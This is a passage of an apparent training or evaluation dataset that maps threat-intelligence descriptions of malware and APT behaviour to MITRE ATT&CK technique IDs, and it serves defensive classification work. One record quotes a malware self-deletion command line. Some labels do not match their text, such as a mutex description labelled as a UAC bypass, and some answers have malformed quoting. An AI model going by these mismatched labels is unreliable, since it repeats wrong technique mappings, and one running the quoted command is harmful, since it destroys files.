                "content": "Appendix A – PLAINTEE older variant Older variants of PLAINTEE can be identified via the unique mutex created during runtime. At least three variants of PLAINTEE have been identified to date, however, the following two samples have additional unique differences"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 collected emails from specific individuals, such as executives and IT staff, using \"New-MailboxExportRequest\" followed by \"Get-MailboxExportRequest\"."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used macros to verify if a mouse is connected to a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meteor has the ability to change the password of local users on compromised hosts and can log off users."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Azorult can encrypt C2 traffic using XOR."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Backdoor.Oldrea samples contain a publicly available Web browser password recovery tool."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET uses the \"plutil\" command to modify the \"LSUIElement\", \"DFBundleDisplayName\", and \"CFBundleIdentifier\" keys in the \"/Contents/Info.plist\" file to change how XCSSET is visible on the system."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used \"AdFind.exe\" to collect information about Active Directory groups and accounts."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT40 leverages custom credential theft utilities such as HOMEFRY, a password dumper/cracker used alongside the AIRBREAK and BADFLICK backdoors"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Furthermore, this group has routinely identified and exploited vulnerable web servers of targeted organizations to install web shells, such as ANTAK and ASPXSPY, and used stolen legitimate credentials to compromise externally facing Outlook Web Access (OWA) resources"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has downloaded additional scripts that build and run Monero cryptocurrency miners."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Like many other phishing attacks, in this phishing campaign, Charming Kitten uses a fake SMS (Figure 1) to trick their victims. They send confirmation messages stating ‘Google Account Recovery’ to their targets; they claim these messages are sent by Google and the user must follow the link in the SMS to confirm the identity"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon has stored its encrypted payload in the Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The use of the choice command, as seen below, did not appear in previous versions of OopsIE and appears to have been added in the most recent version used in this attack. cmd.exe /C choice /C Y /N /D Y /T 2 &amp; Del After sleeping, the Trojan will create a GUID and write it to %APPDATA%\\Windows\\GDI.bin. With the Trojan moved its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently. The Trojan accesses two resources, named Sch and VBS that contains obfuscated strings that contain the command to create the scheduled task and the VBScript to run. This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task. This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution. After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server. The process in which the Trojan communicates with its C2 server is very similar to the previous OopsIE Trojan that we discussed in our previous blog. Also, the oops string used to signify and erroneous transmission from the C2, which gave OopsIE its name is reversed to spoo. The command handler in this OopsIE variant is very similar to the previous version, as it contains the same three (1, 2 and 3) commands seen in Table 2"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has been known to use \"-WindowStyle Hidden\" to conceal PowerShell windows."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "captured screenshots and sent them out to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Character  Description  0  File contains batch commands, it executes the batch commands  1  Rename the temporary file as .ps1 extension  2  Rename the temporary file as .vbs extension   Table 2: BONDUPDATER Actions Figure 8 is a screenshot of BONDUPDATER’s DGA implementation"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used keylogging tools."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proxysvc collects the network adapter information and domain/username information based on current remote sessions."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Web shells are heavily relied on for nearly all stages of the attack lifecycle"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors used Empire to gather various local system information."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gathering system information and sending it to the control server. The system information gathered from the endpoint includes: MAC address of the endpoint Computer Name Product name from HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion ProductName This information is concatenated into a single string in the format: “MAC_Address||ComputerName||ProductName” and is sent to the control server - MAC address of the endpoint - Computer Name - Product name from HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion ProductName - This information is concatenated into a single string in the format: “MAC_Address||ComputerName||ProductName” and is sent to the control server - Recording HTTP requests from the control server to the temporary file prx in the implant’s install directory with the current system timestamp"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Zip archive is encrypted with an unknown password, but we know it contains two files named joboffer.chm and thumb.db. The joboffer.chm file is a compiled HTML file that we believe loads and executes the ‘thumb.db’ file as a payload, but we cannot be absolutely sure as we do not have the password required to extract the files from the archive"
            },
            {
                "role": "assistant",
                "content": "T1218.001 - Signed Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kessel has exfiltrated data via hexadecimal-encoded subdomain fields of DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LitePower can send collected data, including screenshots, over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the payload is successfully executed, it will proceed to copy files to the following locations:  C:\\ProgramData\\ManagerApp\\AdapterTroubleshooter.exe C:\\ProgramData\\ManagerApp\\15b937.cab C:\\ProgramData\\ManagerApp\\install.cab C:\\ProgramData\\ManagerApp\\msvcr90.dll C:\\ProgramData\\ManagerApp\\d3d9.dll  The “AdapterTroubleshooter.exe” file is a legitimate binary which is leveraged to use the famous DLL search order hijacking technique.  The “d3d9.dll” file is malicious and is loaded into memory by the legit binary upon execution.  Once loaded, the DLL will then inject FinSpy into the Winlogon process"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers using Comnie are leveraging malicious macros that initially hide decoy documents and shows them when the victim enables macros"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST remained dormant after initial access for a period of up to two weeks."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Green Lambert can use multiple custom routines to decrypt strings prior to execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches for files on local drives based on a predefined list of file extensions."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can identify the username of the infected user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(For more on steganography, see the McAfee Labs Threats Report, June 2017, page 33.) The implants covered in this research establish a permanent presence on the victim’s system once the PowerShell implant is executed"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the string is present, the malware executes the command RunDll32.exe"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon execution, this command extracted, decrypted, and executed the PowerShell backdoor payload stored in the HiveUploadTask text property of the RacTask class"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has staged malware and malicious files on compromised web servers, GitHub, and Google Drive."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors used PowerShell to add and delete rules in the Windows firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Action RAT's commands, strings, and domains can be Base64 encoded within the payload."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun has decrypted itself using a single-byte XOR scheme. Additionally, Rising Sun can decrypt its configuration data at runtime."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has the ability to take screen captures."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several  malware families use timestomping, including modifying the last write timestamp of a specified Registry key to a random date, as well as copying the timestamp for legitimate .exe files (such as calc.exe or mspaint.exe) to its dropped files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADFLICK can decode shellcode using a custom rotating XOR cipher."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The very narrow and specific set of email identifiers and organizations observed by CTU researchers strongly indicate that the campaign is focused on U.S. Based on the identified targets, CTU researchers assess with low confidence that a Russian government-sponsored threat group may be responsible for this campaign. Third-party researchers attribute this campaign to the Russia-based IRON RITUAL threat group (also known as NOBELIUM and APT29). IRON RITUAL has been linked to the SUNBURST malware used in the SolarWinds supply chain attack"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Sharpshooter, additional payloads were downloaded after a target was infected with a first-stage downloader."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StoneDrill has looked in the registry to find the default browser path."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This function converts the given domain to “backdoor”, which can be used to login to the tenant as any user. See Open-AADIntOffice365Portal to use the backdoor"
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain or Tenant Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has used RDP to log in and move laterally in the target environment."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole has a command to create, set, copy, or delete a specified Registry key or value."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "STARWHALE has the ability to collect the IP address of an infected host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spark has used HTTP POST requests to communicate with its C2 server to receive commands."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AdFind has the ability to query Active Directory for computers."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can upload and download files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole has a command to disable routing and the Firewall on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JCry has used VBS scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet uses the SetSecurityDescriptorDacl API to reduce object integrity levels."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has used a variety of tools in their operations, including AdFind, BloodHound, Mimikatz, and PowerSploit."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers computer names, OS version info, and also checks installed keyboard layouts to estimate if it has been launched from a certain list of countries."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has lured victims into opening malicious files containing malware."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PsExec can be used to download or upload a file over a network share."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pillowmint has used a malicious shim database to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A keylogging tool used by APT3 gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockBit 2.0 enumerates system information such as hostname, shares, and domain information"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used WinRAR and 7-Zip to compress an archive stolen data."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FYAnti has used ConfuserEx to pack its .NET module."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT40 uses a variety of malware and tools to establish a foothold, many of which are either publicly available or used by other threat groups. In some cases, the group has used executables with code signing certificates to avoid detection"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Putty Secure Copy Client (PSCP) to transfer data."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Given their capability and sophistication, it is unlikely that IRON RITUAL's intrusions will leave sufficient artifacts to allow researchers to associate their activities with previous or future Russian cyber espionage operations. The group has used malware including the SUNBURST (also known as Solorigate) backdoor and in-memory Cobalt Strike delivered using the TEARDROP and RAINDROP loaders. CTU researchers assess with high confidence that IRON RITUAL's intent is long term, covert access to networks of interest for the purposes of espionage and data theft.ToolsTaegis™ XDR Adversary Software Coverage Tool"
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Catchamas collects keystrokes from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "network traffic communicates over common ports like 80, 443, or 1433."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has stored obfuscated JavaScript code in an image file named temp.jpg."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The “Excel” command receives another stage of the PowerShell code, saves it in “c:\\programdata\\a.ps1” and then asks Excel to execute this PowerShell script via DDE"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can connect to and disable the Symantec server on the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
